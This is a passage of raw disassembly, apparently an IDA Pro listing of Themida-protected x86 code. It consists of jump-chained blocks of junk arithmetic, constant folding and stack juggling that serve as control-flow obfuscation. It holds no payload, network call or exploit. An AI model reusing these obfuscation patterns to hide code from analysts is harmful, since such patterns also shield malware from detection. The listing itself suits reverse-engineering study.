		mov	edi, [esp+1Ch+var_1E+2]
		jmp	loc_59792E
; ---------------------------------------------------------------------------


loc_591C86:				; CODE XREF: sub_59196D-4E18j
		dec	edx
		jmp	loc_594DC5
; ---------------------------------------------------------------------------


loc_591C8C:				; CODE XREF: sub_59196D+18F6j
		mov	[esp+14h+var_16+2], edx
		mov	edx, 4D6D23A1h
		push	eax
		push	0FFFFFFFFh
		pop	eax
		sub	edx, eax
		pop	eax
		sub	edx, 54C30C73h
		jnz	loc_58F9E2
		inc	edx
		jle	loc_598588
		shr	edx, 3
		mov	al, ah
		push	ecx


loc_591CB7:				; CODE XREF: sub_59196D+647j
		add	edx, 5D91700Bh
		add	edx, edi
		sub	edx, 5D91700Bh
		add	edx, 3DE67288h
		jmp	loc_59841A
; ---------------------------------------------------------------------------


loc_591CD0:				; CODE XREF: sub_59196D+38F3j
		push	163Eh
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		pop	ebx
		sub	esp, 4
		jmp	loc_58B8B5
; ---------------------------------------------------------------------------


loc_591CE8:				; CODE XREF: sub_59196D+4127j
		jp	loc_5944D3
		push	eax
		mov	al, 1
		xor	cl, al
		pop	eax
		sub	al, 86h
		jmp	loc_58D6CE
; ---------------------------------------------------------------------------
		pop	esp


loc_591CFC:				; CODE XREF: sub_59196D+FCBj
		not	esi
		dec	esi
		neg	esi
		sub	esi, 720E3D41h
		add	esi, 3E11C842h
		jmp	loc_5985DD
; ---------------------------------------------------------------------------
		push	[esp+18h+var_1A+2]
		push	[esp+1Ch+var_1E+2]
		mov	edx, [esp+20h+var_22+2]
		push	36B9h
		mov	[esp+24h+var_26+2], edi
		mov	edi, esp
		push	ebp
		jmp	loc_58C71F
; ---------------------------------------------------------------------------


loc_591D2B:				; CODE XREF: sub_59196D+1114j
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		xchg	edx, [esp+24h+var_26+2]
		jmp	loc_59810F
; ---------------------------------------------------------------------------


loc_591D40:				; CODE XREF: sub_59196D+4D17j
					; sub_59196D+64E6j
		mov	ebx, 2CAE09D6h
		mov	ebp, 718B5FE2h
		sub	ebp, ebx
		jmp	loc_58BB85
; ---------------------------------------------------------------------------


loc_591D51:				; CODE XREF: sub_59196D-343j
		push	esi
		mov	esi, 66DF1857h
		not	esi
		push	edx
		mov	edx, 5A0D27FCh
		or	esi, edx
		mov	edx, [esp+0]
		add	esp, 4
		dec	esi
		jmp	loc_58EB83
; ---------------------------------------------------------------------------


loc_591D70:				; CODE XREF: sub_59196D-4837j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	7AA4h
		jmp	loc_595CC1
; ---------------------------------------------------------------------------


loc_591D89:				; CODE XREF: sub_59196D+680Cj
		mov	ebp, 1A72116Fh
		sub	ebp, 0F8439746h
		push	ecx
		mov	ecx, ebp
		mov	ebx, ecx
		pop	ecx
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	ebx, 222E7A25h
		add	ecx, 15BE4CE7h
		add	ecx, ebx
		sub	ecx, 15BE4CE7h
		jmp	loc_59454E
; ---------------------------------------------------------------------------


loc_591DB9:				; CODE XREF: sub_59196D+421Ej
		push	ebp
		jmp	loc_5970C1
; ---------------------------------------------------------------------------


loc_591DBF:				; CODE XREF: sub_59196D+3850j
		mov	[esp+8+var_8], ebx
		push	0
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	ebx, eax
		push	136Dh
		mov	[esp+0Ch+var_C], eax
		mov	eax, 0
		add	eax, 21FA130Fh
		sub	eax, 7ACE43B0h
		add	eax, ebx
		add	eax, 7ACE43B0h
		sub	eax, 21FA130Fh
		mov	[eax], dl
		pop	eax
		push	[esp+8+var_8]
		pop	ebx
		push	ebx
		jmp	loc_5985C7
; ---------------------------------------------------------------------------


loc_591E02:				; CODE XREF: Themida_:0058F227j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_59548C
; ---------------------------------------------------------------------------


loc_591E13:				; CODE XREF: sub_59196D-523j
		mov	ebp, 264B2D22h
		dec	ebp
		push	edx
		jmp	loc_597A91
; ---------------------------------------------------------------------------


loc_591E1F:				; CODE XREF: sub_59196D+4B63j
		mov	edi, 188460F2h
		dec	edi
		not	edi
		jmp	loc_58DA74
; ---------------------------------------------------------------------------


loc_591E2C:				; CODE XREF: sub_59196D-2647j
		push	esi
		jmp	loc_58D81C
; ---------------------------------------------------------------------------


loc_591E32:				; CODE XREF: sub_59196D-AF4j
		add	esp, 4
		xchg	esi, [esp+0]
		pop	esp
		dec	byte ptr [esp+0Ah+var_C+2]
		pushf
		jmp	loc_591A77
; ---------------------------------------------------------------------------


loc_591E45:				; CODE XREF: sub_59196D+4EDCj
		mov	dl, 4Ch
		add	dl, 0FCh
		jmp	loc_594DF5
; ---------------------------------------------------------------------------


loc_591E4F:				; CODE XREF: sub_59196D+1691j
		pop	ebx
		push	esi
		push	77B24A2Ch
		pop	esi
		sub	esi, 60A5F709h
		mov	edx, esi
		pop	esi
		add	edx, ebp
		jmp	loc_592BEA
; ---------------------------------------------------------------------------


loc_591E67:				; CODE XREF: sub_59196D-3F2Aj
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591E6C:				; CODE XREF: sub_59196D-48CBj
		shl	al, 3
		sub	al, 0FFh
		jmp	loc_59468C
; ---------------------------------------------------------------------------


loc_591E76:				; CODE XREF: sub_59196D-637Dj
					; sub_59196D-2F2Dj
		jmp	loc_58C902
; ---------------------------------------------------------------------------


loc_591E7B:				; CODE XREF: sub_59196D-4C7Cj
					; sub_59196D:loc_58F7B8j
		pop	ebx
		mov	edx, esi
		pop	esi
		jmp	loc_58F8DE
; ---------------------------------------------------------------------------


loc_591E84:				; CODE XREF: sub_59196D-1F9Ej
		push	2299609Fh
		jmp	loc_59736C
; ---------------------------------------------------------------------------


loc_591E8E:				; CODE XREF: sub_59196D-53A5j
		mov	cx, 5BCBh
		add	ax, cx
		jmp	loc_58BA6A
; ---------------------------------------------------------------------------


loc_591E9A:				; CODE XREF: sub_59196D+3A98j
		mov	[esp+14h+var_16+2], eax
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		mov	eax, [esp+10h+var_12+2]
		jmp	loc_58EA14
; ---------------------------------------------------------------------------


loc_591EAB:				; CODE XREF: sub_59196D+114Cj
		xor	ah, dh
		pop	edx
		inc	ah
		xor	ah, 52h
		sub	dh, ah
		pop	eax
		pop	eax
		add	al, 0B3h
		sub	al, dh
		sub	al, 0B3h
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		push	2EDAh
		mov	[esp+4+var_4], edx
		push	ecx
		push	4951h
		jmp	loc_58F1D1
; ---------------------------------------------------------------------------


loc_591EDA:				; CODE XREF: sub_59196D+12A7j
		sub	esp, 4
		jmp	loc_593C1D
; ---------------------------------------------------------------------------


loc_591EE5:				; CODE XREF: sub_59196D-5DF2j
					; sub_59196D-5DDBj
		inc	ebp
		xor	ebp, 6A250535h
		add	ebp, 0D84514Ch
		jmp	loc_5954E2
; ---------------------------------------------------------------------------


loc_591EF7:				; CODE XREF: sub_59196D+3A15j
		jz	loc_591F7B
		dec	edx
		js	loc_58EDED
		jmp	loc_59355D
; ---------------------------------------------------------------------------


loc_591F09:				; CODE XREF: sub_59196D-5208j
		add	eax, ebp
		jmp	loc_5950C5
; ---------------------------------------------------------------------------


loc_591F10:				; CODE XREF: sub_59196D-49EBj
		push	78AAh
		mov	[esp+18h+var_1A+2], esi
		jmp	loc_58FE8E
; ---------------------------------------------------------------------------


loc_591F1D:				; CODE XREF: Themida_:0058DEECj
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		jmp	loc_5981B9
; ---------------------------------------------------------------------------


loc_591F2F:				; CODE XREF: sub_59196D-4329j
		add	[esp+30h+var_32+2], 2BE956F0h
		jmp	loc_591115
; ---------------------------------------------------------------------------


loc_591F3B:				; CODE XREF: sub_59196D-312j
		mov	edx, 22071A7Dh
		dec	edx
		push	ebx
		mov	ebx, 213F5D9Fh
		add	ebx, 1
		jmp	loc_591B65
; ---------------------------------------------------------------------------


loc_591F52:				; CODE XREF: sub_59196D+2009j
		push	ebx
		mov	ebx, 4ADC262Dh
		push	ebx
		jmp	loc_58ED2B
; ---------------------------------------------------------------------------


loc_591F5E:				; CODE XREF: sub_59196D+B23j
		push	[esp+44h+var_44]
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		push	30E5h
		mov	[esp+48h+var_4A+2], ecx
		mov	ecx, esp
		jmp	loc_5959C0
; ---------------------------------------------------------------------------


loc_591F76:				; CODE XREF: sub_59196D-35E8j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_591F7B:				; CODE XREF: sub_59196D:loc_591EF7j
		dec	edx
		js	loc_590994
		jmp	loc_58D619
; ---------------------------------------------------------------------------


loc_591F87:				; CODE XREF: sub_59196D+35E3j
		xor	edi, [esp+1Ch+var_1E+2]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, 3A570897h
		add	edx, eax
		push	[esp+1Ch+var_1E+2]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 0FAC135Eh
		push	edi
		mov	edi, 3DE67288h
		sub	edx, edi
		pop	edi
		jmp	loc_591CB7
; ---------------------------------------------------------------------------


loc_591FB9:				; CODE XREF: sub_59196D+48CFj
		shr	cl, 4
		sub	cl, 69h
		jmp	loc_59351E
; ---------------------------------------------------------------------------


loc_591FC4:				; CODE XREF: sub_59196D+56E9j
		xor	ecx, 12018h
		add	eax, ecx
		jmp	loc_595E79
; ---------------------------------------------------------------------------


loc_591FD1:				; CODE XREF: sub_59196D-2532j
		xor	ecx, 0B2FB5A8Eh
		and	eax, ecx
		mov	ecx, [esp-0Eh+arg_8+2]
		push	esi
		mov	esi, esp
		push	2620h
		mov	[esp-6+arg_0+2], eax
		push	ebx
		jmp	sub_58E5BF
; ---------------------------------------------------------------------------


loc_591FED:				; CODE XREF: sub_59196D+54A8j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_58ED92
; ---------------------------------------------------------------------------


loc_591FF8:				; CODE XREF: sub_59196D-5387j
		push	6BDh
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592005:				; CODE XREF: sub_59196D-5362j
		sub	ebp, 16200908h
		add	esi, ebp
		push	[esp+10h+var_12+2]
		pop	ebp
		add	esp, 4
		push	6FC8h
		mov	[esp+10h+var_12+2], ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_59236A
; ---------------------------------------------------------------------------


loc_59202A:				; CODE XREF: sub_59196D-5905j
					; sub_59196D-383Dj
		push	ecx
		mov	ecx, 9A17A53h
		shl	ecx, 2
		sub	ecx, 0FEA64B4h
		xor	ecx, 169B849Ch
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+4+var_4]
		pop	esp
		sub	bl, al
		add	bl, 0DAh
		jmp	loc_58E6E1
; ---------------------------------------------------------------------------


loc_592050:				; CODE XREF: sub_59196D-4E28j
		add	esi, 4
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		mov	[esp+42h+var_44+2], ecx
		jmp	loc_5957FE
; ---------------------------------------------------------------------------


loc_592078:				; CODE XREF: sub_59196D-33CBj
		or	edi, 4E855E98h
		shl	edi, 3
		sub	edi, 0AA1736B8h
		xor	edx, edi
		pop	edi
		and	eax, edx
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	loc_59375E
; ---------------------------------------------------------------------------


loc_59209A:				; CODE XREF: sub_59196D+5738j
		push	edi
		mov	edi, 7F5D6A68h
		neg	edi
		jnp	loc_58F56B
		neg	edi
		jge	loc_590BAA
		push	ebx
		push	edx


loc_5920B2:				; CODE XREF: sub_59196D-46B3j
					; sub_59196D:loc_58F0C0j
		add	edx, 4CBA6F33h
		jmp	loc_591AFC
; ---------------------------------------------------------------------------


loc_5920BD:				; CODE XREF: sub_59196D+4305j
		and	dx, 7A14h
		jle	loc_5909C3
		xor	dx, 3BCCh
		mov	di, dx
		jmp	loc_58DB1A
; ---------------------------------------------------------------------------


loc_5920D5:				; CODE XREF: sub_59196D+3126j
		push	7629h
		mov	[esp+0], ebp
		sub	esp, 4
		jmp	loc_58B5E4
; ---------------------------------------------------------------------------


loc_5920E5:				; CODE XREF: sub_59196D-5AC1j
		add	eax, 4
		xor	eax, [esp+36h+var_36]
		xor	[esp+36h+var_36], eax
		xor	eax, [esp+36h+var_36]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		mov	[esp+32h+var_32], ecx
		push	479Eh
		mov	[esp+36h+var_36], ebx
		jmp	loc_58D6B6
; ---------------------------------------------------------------------------


loc_592112:				; CODE XREF: sub_59196D+B7Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Ah+var_3C+2]
		pop	esp
		sub	edi, 1
		xor	edi, 90C4027h
		add	esi, edi
		pop	edi
		jmp	loc_59764E
; ---------------------------------------------------------------------------


loc_592136:				; CODE XREF: sub_59196D-1298j
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 2
		add	ebx, 19CB587Ah
		sub	ebx, 440F0985h
		add	ebx, edx
		add	ebx, 440F0985h
		jmp	loc_594185
; ---------------------------------------------------------------------------


loc_59215C:				; CODE XREF: sub_59196D+31A8j
		mov	esi, 2EAD0E95h
		inc	esi
		shr	esi, 3
		sub	esi, 46BA05C6h
		shr	esi, 3
		jmp	loc_58C66F
; ---------------------------------------------------------------------------


loc_592173:				; CODE XREF: sub_59196D+550Ej
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+34h+var_36+2]
		pop	esp
		div	ecx
		push	5981h
		jmp	loc_58F942
; ---------------------------------------------------------------------------


loc_59218B:				; CODE XREF: sub_59196D-28B2j
		xor	edi, 3097717Fh
		jmp	loc_595BF2
; ---------------------------------------------------------------------------


loc_592196:				; CODE XREF: sub_59196D-17EBj
		push	ecx
		jmp	loc_59060C
; ---------------------------------------------------------------------------


loc_59219C:				; CODE XREF: sub_59196D+4886j
		mov	ecx, edi
		pop	edi
		sub	eax, ecx
		jmp	loc_59071E
; ---------------------------------------------------------------------------


loc_5921A6:				; CODE XREF: sub_59196D+6919j
		sub	bl, al
		add	bl, 5Fh
		jmp	loc_594365
; ---------------------------------------------------------------------------


loc_5921B0:				; CODE XREF: sub_59196D+6BF3j
		push	dword ptr [edx]
		mov	eax, [esp+20h+var_22+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59721A
; ---------------------------------------------------------------------------


loc_5921C3:				; CODE XREF: sub_59196D-1336j
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		inc	byte ptr [esp+20h+var_22+2]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5921E9:				; CODE XREF: sub_59196D-5CB2j
		not	eax
		jmp	loc_5966FE
; ---------------------------------------------------------------------------


loc_5921F0:				; CODE XREF: sub_59196D+3CF9j
		sub	eax, 1FF2BAFh
		sub	eax, ebp
		jmp	loc_596488
; ---------------------------------------------------------------------------


loc_5921FC:				; CODE XREF: sub_58C19E+40B0j
		push	ebx
		mov	ebx, esp
		push	ecx
		push	esi
		mov	esi, 3E9C0CA6h
		mov	ecx, esi
		pop	esi
		neg	ecx
		shr	ecx, 5
		xor	ecx, 703C472Fh
		jmp	loc_5975DA
; ---------------------------------------------------------------------------


loc_592219:				; CODE XREF: sub_59196D+2D84j
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+2Ch+var_2E+2]
		jmp	loc_58EE8B
; ---------------------------------------------------------------------------


loc_592224:				; CODE XREF: sub_59196D+3A1Dj
					; sub_59196D+3CADj ...
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+30h+var_32+2]
		pop	esp
		mov	[esp+2Ch+var_2E+2], esi
		jmp	loc_5948D2
; ---------------------------------------------------------------------------


loc_59223C:				; CODE XREF: Themida_:0058F482j
		push	eax
		jmp	loc_596320
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592249:				; CODE XREF: sub_59196D-52Fj
		mov	ebp, esp
		push	eax
		mov	eax, 5F576600h
		and	eax, 2BE1151h
		inc	eax
		dec	eax
		xor	eax, 2160004h
		add	ebp, eax
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5943D3
; ---------------------------------------------------------------------------


loc_59226A:				; CODE XREF: sub_58BB31+1Cj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_597E0C
; ---------------------------------------------------------------------------


loc_592277:				; CODE XREF: sub_59196D+E10j
		push	ecx
		mov	ch, 0FAh
		sub	ch, 63h
		add	bh, ch
		pop	ecx
		sub	al, bh
		pop	ebx
		push	[esp+18h+var_1A+2]
		mov	ecx, [esp+1Ch+var_1E+2]
		jmp	loc_5914DB
; ---------------------------------------------------------------------------


loc_59228E:				; CODE XREF: sub_59196D+18C5j
		neg	edx
		sub	edx, 393788BCh
		or	ebx, edx
		pop	edx
		sub	ebx, 37FB7B06h
		jmp	loc_58EF4A
; ---------------------------------------------------------------------------


loc_5922A4:				; CODE XREF: sub_59196D-932j
					; sub_59196D+217Aj
		inc	esi
		add	esi, 2FAB1578h
		jmp	loc_592CA8
; ---------------------------------------------------------------------------


loc_5922B0:				; CODE XREF: sub_59196D-180Fj
		push	ebp
		mov	ebp, 5E024D4h
		jmp	loc_596F45
; ---------------------------------------------------------------------------


loc_5922BB:				; CODE XREF: sub_598477+24j
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_594C95
; ---------------------------------------------------------------------------


loc_5922C9:				; CODE XREF: sub_59196D-4E11j
					; sub_59196D:loc_593508j
		jnz	loc_59554A
		push	edx
		xchg	eax, [esp+18h+var_1A+2]
		not	eax
		and	al, 48h
		mov	bh, 55h


loc_5922D9:				; CODE XREF: sub_59196D-3EEAj
		pop	ebp
		jmp	sub_58C3EF
; ---------------------------------------------------------------------------


loc_5922DF:				; CODE XREF: sub_59196D+E28j
		mov	edx, 7A449C6h
		jmp	loc_596D3C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+14h+var_16+2]
		push	7805h
		mov	[esp+18h+var_1A+2], ebp
		push	606Dh
		mov	[esp+1Ch+var_1E+2], esp
		jmp	loc_594E03
; ---------------------------------------------------------------------------


loc_592302:				; DATA XREF: Themida_:0058B18Co
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+18h+var_1A+2], eax
		pushf
		jmp	loc_58D3A6
; ---------------------------------------------------------------------------


loc_592310:				; CODE XREF: sub_59196D-2F9Fj
		sub	ebx, 4F1426C8h
		add	ebx, esi
		add	ebx, 4F1426C8h
		pop	esi
		xor	ebx, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], ebx
		xor	ebx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592335:				; CODE XREF: sub_59196D-20CCj
		jl	loc_59464F
		dec	esi
		jmp	loc_598385
; ---------------------------------------------------------------------------
		xor	dl, bl
		pop	ebx
		add	cl, dl
		pop	edx


loc_592347:				; CODE XREF: sub_59196D:loc_590AFAj
		shl	dh, 3
		add	dh, 9Bh
		jmp	loc_58DE16
; ---------------------------------------------------------------------------


loc_592352:				; CODE XREF: sub_59196D-605Ej
		add	esp, 4
		xchg	ebx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		jmp	loc_594A2F
; ---------------------------------------------------------------------------


loc_592363:				; CODE XREF: sub_59196D-108Ej
		sub	al, 0E6h
		jmp	loc_595BB0
; ---------------------------------------------------------------------------


loc_59236A:				; CODE XREF: sub_59196D+6B8j
		mov	ebx, ebp
		jmp	loc_5971DF
; ---------------------------------------------------------------------------


loc_592371:				; CODE XREF: sub_59196D:loc_5975CCj
		neg	bl
		neg	bl
		jz	loc_596E80
		jmp	loc_58F7A6
; ---------------------------------------------------------------------------


loc_592380:				; CODE XREF: sub_59196D-34A9j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		jmp	loc_590171
; ---------------------------------------------------------------------------


loc_59238C:				; CODE XREF: sub_59196D+3A5Ej
		add	eax, 3CE76C6h
		sub	eax, edx
		sub	eax, 3CE76C6h
		jmp	loc_58F761
; ---------------------------------------------------------------------------


loc_59239D:				; CODE XREF: sub_59196D-155Dj
		or	edi, 3CE54C4Bh
		xor	edi, 85AEC79Fh
		sub	eax, edi
		pop	edi
		jmp	loc_5957B8
; ---------------------------------------------------------------------------


loc_5923B1:				; CODE XREF: sub_59196D+3651j
		sub	al, 32h
		jmp	loc_5944E0
; ---------------------------------------------------------------------------


loc_5923B8:				; CODE XREF: sub_59196D-4EA0j
		sub	al, 60h
		pop	edx
		sub	bl, 2Dh
		push	edx
		mov	dl, 0F7h
		sub	bl, dl
		push	[esp+3Ah+var_3C+2]
		pop	edx
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, esp
		jmp	loc_58F612
; ---------------------------------------------------------------------------


loc_5923D7:				; CODE XREF: sub_59196D-2FD3j
		push	ebx
		push	89D4FBDh
		pop	ebx
		jmp	loc_58F3BB
; ---------------------------------------------------------------------------


loc_5923E3:				; CODE XREF: sub_59196D-4568j
		add	ecx, edi
		add	ecx, 257131ADh
		add	dword ptr [ecx], 1
		mov	ecx, [esp+34h+var_36+2]
		push	eax
		jmp	loc_595EB3
; ---------------------------------------------------------------------------


loc_5923FA:				; CODE XREF: sub_59196D-3FDj
		not	ebp
		xor	ebp, 0F284C9BFh
		jmp	loc_596E76
; ---------------------------------------------------------------------------


loc_592407:				; CODE XREF: sub_59196D-E4Dj
		push	ebp
		push	[esp+18h+var_16+2]
		jmp	loc_58C151
; ---------------------------------------------------------------------------


loc_592411:				; CODE XREF: sub_59196D-EC9j
		shl	ebp, 7
		js	loc_595F02
		shl	ebp, 5
		js	loc_58D09B
		and	cl, 88h
		push	eax


loc_592427:				; CODE XREF: sub_59196D-121j
		sub	ebx, 1507045Bh
		sub	ebx, 334B6B65h
		add	ebx, 6D380B9Bh
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp+0]
		jmp	sub_58CE9F
; ---------------------------------------------------------------------------


loc_592444:				; CODE XREF: sub_59196D+3713j
		mov	[ebx], al
		pop	ebx
		jmp	loc_5973FE
; ---------------------------------------------------------------------------


loc_59244C:				; CODE XREF: sub_59196D-274Fj
		ror	byte ptr [esp+10h+var_12+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592455:				; CODE XREF: sub_59196D-83Dj
					; sub_59196D+698Bj
		jmp	loc_596495
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-0Ch+arg_8]
		push	ebx
		mov	ebx, esp
		push	6041h
		jmp	loc_590032
; ---------------------------------------------------------------------------


loc_59246B:				; CODE XREF: sub_59196D:loc_5914AFj
					; sub_59196D+2F46j
		push	esi
		push	edx
		jmp	loc_58CBBE
; ---------------------------------------------------------------------------


loc_592472:				; CODE XREF: Themida_:0058E1E5j
					; sub_59196D+439Fj
		mov	eax, 7D9D6D40h
		jmp	loc_58D7A0
; ---------------------------------------------------------------------------


loc_59247C:				; CODE XREF: sub_59196D+51D5j
		inc	esi
		jge	loc_594CA4
		add	esi, 305D676Ch
		mov	bh, 52h
		pop	ebp


loc_59248D:				; DATA XREF: Themida_:0058B188o
		push	dword ptr [edi+3Ch]
		jmp	loc_591F5E
; ---------------------------------------------------------------------------


loc_592495:				; CODE XREF: sub_59196D:loc_58FF02j
					; sub_59196D-70Fj
		pop	ebp
		xchg	esi, [esp+2+var_4+2]
		pop	esp
		movzx	ecx, al
		push	1CB1h
		mov	[esp+2+var_4+2], eax
		jmp	loc_59817E
; ---------------------------------------------------------------------------


loc_5924AA:				; CODE XREF: sub_59196D:loc_593C54j
		neg	ebp
		jl	loc_593941
		and	ebp, 23417AE9h
		jno	loc_59507F
		mov	ebx, edi
		push	edx


loc_5924C1:				; CODE XREF: sub_59196D-57D4j
		push	ebx
		jmp	loc_594B1A
; ---------------------------------------------------------------------------


loc_5924C7:				; CODE XREF: sub_59196D+4468j
					; sub_59196D+5EDEj
		jmp	loc_58D81C
; ---------------------------------------------------------------------------


loc_5924CC:				; CODE XREF: sub_59196D-273j
		jmp	loc_58FDFD
; ---------------------------------------------------------------------------


loc_5924D1:				; CODE XREF: sub_59196D-263Cj
		not	ecx
		inc	ecx
		xor	ecx, 7E9175A2h
		and	ecx, 7A7770A7h
		add	ecx, 0DD8A310Fh
		and	edi, ecx
		mov	ecx, [esp+1Ch+var_1E+2]
		jmp	loc_592112
; ---------------------------------------------------------------------------


loc_5924F0:				; CODE XREF: sub_58CA8D+6j
		pop	ebx
		add	ebx, 4
		jmp	loc_58B7AD
; ---------------------------------------------------------------------------


loc_5924FC:				; CODE XREF: sub_59196D-133Dj
		sub	edi, 189A768Ch
		add	edi, esi
		add	edi, 189A768Ch
		push	ebx
		mov	ebx, 31DF4897h
		jmp	loc_58FFDE
; ---------------------------------------------------------------------------


loc_592515:				; CODE XREF: sub_59196D:loc_58E129j
		inc	edx
		jmp	loc_58DD70
; ---------------------------------------------------------------------------


loc_59251B:				; CODE XREF: sub_59196D+6965j
		inc	word ptr [esp+14h+var_16+2]
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_592525:				; CODE XREF: sub_59196D+49D7j
		dec	ecx
		add	ecx, 0B570FA70h
		sub	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		sub	eax, 5C7A2E4Bh
		mov	ebx, eax
		pop	eax
		sub	ebx, edx
		mov	edx, [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_58EE6D
; ---------------------------------------------------------------------------


loc_592547:				; CODE XREF: sub_59196D+5072j
		mov	edx, esp
		add	edx, 4
		push	ebp
		push	4
		pop	ebp
		push	eax
		push	ebp
		mov	ebp, 4FB74075h
		mov	eax, ebp
		jmp	loc_58D35B
; ---------------------------------------------------------------------------
		push	49FBh
		jmp	loc_593C8D
; ---------------------------------------------------------------------------


loc_59256E:				; CODE XREF: sub_59196D-3EDCj
		mov	edx, [esp+10h+var_12+2]
		add	esp, 4
		push	1149h
		mov	[esp+10h+var_12+2], ebx
		jmp	loc_598061
; ---------------------------------------------------------------------------


loc_592581:				; CODE XREF: sub_58CF0B+Cj
		xchg	ebx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], eax
		jmp	loc_592B05
; ---------------------------------------------------------------------------


loc_59258F:				; CODE XREF: sub_59196D-64DAj
		add	esp, 4
		push	edi
		mov	edi, 0E4C7134Bh
		add	esi, edi
		jmp	loc_58D044
; ---------------------------------------------------------------------------


loc_5925A2:				; CODE XREF: sub_59196D-ACAj
		and	edx, 2FC17A04h
		jo	loc_5970F4
		or	edx, 63350DB9h
		ja	loc_592A5D
		sub	edx, 6F752D81h
		add	edx, edi
		push	edx
		mov	edx, esp
		push	eax
		and	cl, 0C6h


loc_5925C9:				; CODE XREF: sub_59196D-9E2j
		add	ecx, 2771231Dh
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		pop	ecx
		jmp	loc_5937B8
; ---------------------------------------------------------------------------


loc_5925DB:				; CODE XREF: sub_59196D-5D7Cj
		mov	ebx, 1CF34995h
		jmp	loc_5948E1
; ---------------------------------------------------------------------------


loc_5925E5:				; CODE XREF: sub_59196D-5821j
		add	edi, edx
		add	edi, 1E493EC7h
		mov	edx, [esp+18h+var_1A+2]
		jmp	loc_59189F
; ---------------------------------------------------------------------------


loc_5925F5:				; CODE XREF: sub_59196D-A78j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1E+2]
		jmp	loc_58DA2F
; ---------------------------------------------------------------------------


loc_592607:				; CODE XREF: sub_59196D-1DE2j
		movsx	cx, al
		push	small 7651h
		jmp	loc_591978
; ---------------------------------------------------------------------------


loc_592614:				; DATA XREF: Themida_:0058B0F0o
		mov	ax, word ptr [esp-6+arg_0+2]
		push	edx
		jmp	loc_59025B
; ---------------------------------------------------------------------------


loc_59261E:				; CODE XREF: sub_59196D-46ABj
		shr	edx, 1
		xor	edx, 1B5D6CD9h
		mov	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		jmp	loc_597BFE
; ---------------------------------------------------------------------------


loc_592631:				; CODE XREF: sub_59196D+3C8Fj
					; sub_59196D+3C95j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	42B8h
		mov	[esp+0], edx
		mov	edx, 4
		push	ecx
		mov	ecx, 16D56E58h
		and	ecx, 5DCB4076h
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0AB20469h
		add	ebp, ecx
		pop	ecx
		sub	ebp, edx
		push	eax
		mov	eax, 12F1C57h
		sub	eax, 0FFFFFFFFh
		sub	eax, 0E1BBD79Fh
